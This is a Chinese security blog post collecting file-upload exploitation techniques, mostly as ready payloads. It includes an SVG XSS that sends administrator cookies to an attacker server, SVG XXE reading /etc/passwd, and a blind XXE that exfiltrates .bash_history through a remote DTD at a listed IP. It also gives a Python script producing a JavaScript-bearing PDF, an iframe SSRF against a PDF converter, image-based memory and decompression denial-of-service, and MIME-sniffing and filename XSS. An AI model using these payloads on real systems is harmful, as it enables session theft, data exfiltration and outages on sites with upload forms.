美文网首页Web攻防
文件上传利用Tips

文件上传利用Tips

作者: book4yi | 来源:发表于2021-11-28 15:47 被阅读0次

本文仅作学习记录,如有侵权,请联系删除!

前言:


近两个月,学习进度严重滞后,身边的安全人却在不断内卷,我已经是个fw了。

SVG文件:


一个图片上传的接口,如果仅限制 HTML 格式的话也存在问题,因为图片中有一种特别的存在是 SVG 格式。SVG 是一种矢量图形格式,它使用 XML 来描述图片,在其内部我们是可以插入 <html>, <style>, <script> 等 DOM 标签的。如果不对 SVG 中的文件内容进行过滤的话,也会发生意想不到的效果。

  • 1、SVG造成XSS

在一张SVG图片里面插入一个JavaScript代码:

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
    <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />   <script>alert(1)</script>
</svg> 

用浏览器打开它会发现它会造成XSS,XSS之所以能够执行是因为遵循了svg及xml的标准。

触发缘由:

SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的

利用场景:

假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题

# 盗取管理员cookie
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">
  • 2、SVG造成XXE

有回显的情况:利用上传SVG文件配合XXE去读取文件

Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

无回显的情况:先写一个简单的SVG图片源码放在vps上,保存为1.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&file;</text>
</svg>

提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件

利用原理:

利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS

构造1.svg

<!DOCTYPE Note [ 
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
        <text y="20" font-size="20">&lab;</text>
</svg>

构造xml.dtd:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history

PDF文件:


  • 1、XSS

利用条件:

1.有pdf文件上传点

2.保存好的pdf文件可以直接浏览器查看,而不是只能下载至本地。

from PyPDF2 import PdfFileWriter
file = PdfFileWriter()
file.addJS('app.alert("XSS");')
output = open('xss.pdf', 'wb')
file.write(output)
  • 1、SSRF:

很多平台都会存在讲网页导出为pdf文件进行下载的功能。而常见点为:发票打印、行程打印、车票打印、保单下载等。而pdf转换工具很容易产生漏洞。

案例一:有平台保单定制功能,其中定制完保单信息,可以pdf导出。

数据包可知是通过前端传入姓名之类的信息到后端进行插入,导出pdf:

通过pdf的创建者可知是通过pdf编辑器wkhtmltopdf进行pdf文件的转换:

利用方式:<iframe+src="http://xxx.xxx.xxx.xxx/p/55a964/mIpS/">

图片:


  • DOS:利用文件名可控或者上传超大图片导致Dos:

1、Pixel floodattack:像素洪水攻击,需要准备一个5kb,260x260像素的图像。将260x260值改为0xfafa x 0xfafa(64250x64250像素)进行交换。图像一旦上传,服务器通过将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而充斥内存并导致DoS。

漏洞原因是一个负责上传和调整大小的部件Paperclip,由于给定的尺寸和实际尺寸不同,会使得处理图片时发生混乱。这个图片会让windows图片查看器在打开时发生同样的问题。

同样的问题还有Hackerone的一例:上传图片的限制为:图像大小1 MB,图像尺寸:2048x2048px;上传由40k 1x1图像组成的GIF则会造成dos攻击,原因在于未检查文件大小/(宽*高)的数值。

2、PNG 解压DOS:PNG文件由多个块组成,其中一个可选的辅助块称为zTXT(ztxt),此块允许使用zlib库存储压缩文本数据。

使用一个大小为50MB的文件,填充零,将它压缩到大约49 KB”,因此将大量数据存储在一个小的PNG(小于1 MB)。当发送给HackerOne时,会造成服务超时,这同样是Paperclip 的问题。

案例参考:
https://hackerone.com/reports/842462
https://hackerone.com/reports/764434

利用浏览器特性:


目前,大多数浏览器会检验完整的文件头,但 IE/Edge 除外。Edge 和 IE 浏览器在默认情况下,易受 MIME 嗅探攻击。简单来说,就是 Edge/IE 会检视文件内容,然后根据这点来设置访问类型。

基于此,在发现服务器设置了白名单上传后缀时,我们可以通过上传一个不带扩展名的文件或着存在特殊字符的扩展的文件,并且可以写入 html 代码,比如:123.''gif

若服务器返回信息类似如下:{ "result": true, "message": "/UploadFiles//zxcasdasdz13213.''gif", "code": 0}

结合 Edge 或 IE 的 MIME/Content sniffing 漏洞(微软并不认为这是漏洞),便可执行任意 JS 代码,成功获得一个储存型 XSS 漏洞!

Linux 是基于文件头和内容来判断文件类型的,我们可以通过向带有 HTML 代码的文件添加图片文件特有的文件头来迷惑服务器,从而达到文件上传绕过的目的。

异常后缀名文件:


在 Apache 网站目录下创建一个后缀名为.hhh的任意后缀文件,写入 XSS 测试代码:

GIF89a
<html>
<script>prompt(1)</script>
</html>

发现谷歌、火狐、IE、Edge均能解析其中的 JS 代码、触发弹窗。此处可以把后缀名改为.ht ml、.j pg(中间有空格)等格式,尝试绕过服务器的过滤并上传,也可触发 XSS 漏洞!

其他补充:


  • 上传文件名XSS:

某些场景会把文件名直接回显在界面上,还有报错信息可能会包含上传的文件名,这样就可构造包含xss payload的文件名进行xss:

  • Js文件覆盖:

跨目录上传恶意js文件覆盖原js文件:

  • AVI文件:CVE-2016-1897

参考如下:


浅谈SVG的两个黑魔法
PDF解析器html/XSS 实现SSRF
文件上传漏洞另类绕过技巧及挖掘案例全汇总
【漏洞详解】基于文件上传点挖掘存储型XSS漏洞_gif

相关文章

  • 文件上传利用Tips

    本文仅作学习记录,如有侵权,请联系删除! 前言: 近两个月,学习进度严重滞后,身边的安全人却在不断内卷,我已经是个...

  • upload

    多文件上传并预览 利用input 的type='file" 可以实现文件的上传,不过只支持单个文件上传。只有给in...

  • django-文件上传

    文件上传的思路: 文件上传:是否有文件进行判断 如果有:给文件一个上传路径,并利用uuid生成一个新的名字,与上传...

  • django---文件上传

    文件上传的思路: 文件上传:是否有文件进行判断 如果有:给文件一个上传路径,并利用uuid生成一个新的名字,与上传...

  • SpringMVC上传Excel文件

    利用POI进行Excel的文件解析,maven依赖如下 配置SpringMvc文件上传解析器 写上传文件的Cont...

  • Java Web 之文件上传与下载

    本文包括:1、文件上传概述2、利用 Commons-fileupload 组件实现文件上传3、核心API——Dis...

  • FormData提交文件、图片,文本复制

    1.利用FormData提交文件、图片 案例:上传图片、文件(不依赖后台接口)解决方法:(核心代码)1、文件上传 ...

  • 检测url是图片还是视频,或者不合法

    利用ajax上传url来获取文件信息 使用

  • 00截断

    利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。(假设文件的上传路径为【...

  • CTF || [“百度杯”CTF比赛 九月场]Upload

    题目内容:想怎么传就怎么传,就是这么任性。tips:flag在flag.php中 文件上传漏洞 尝试上传一个pdf...

网友评论

    本文标题:文件上传利用Tips

    本文链接:https://www.haomeiwen.com/subject/avatxrtx.html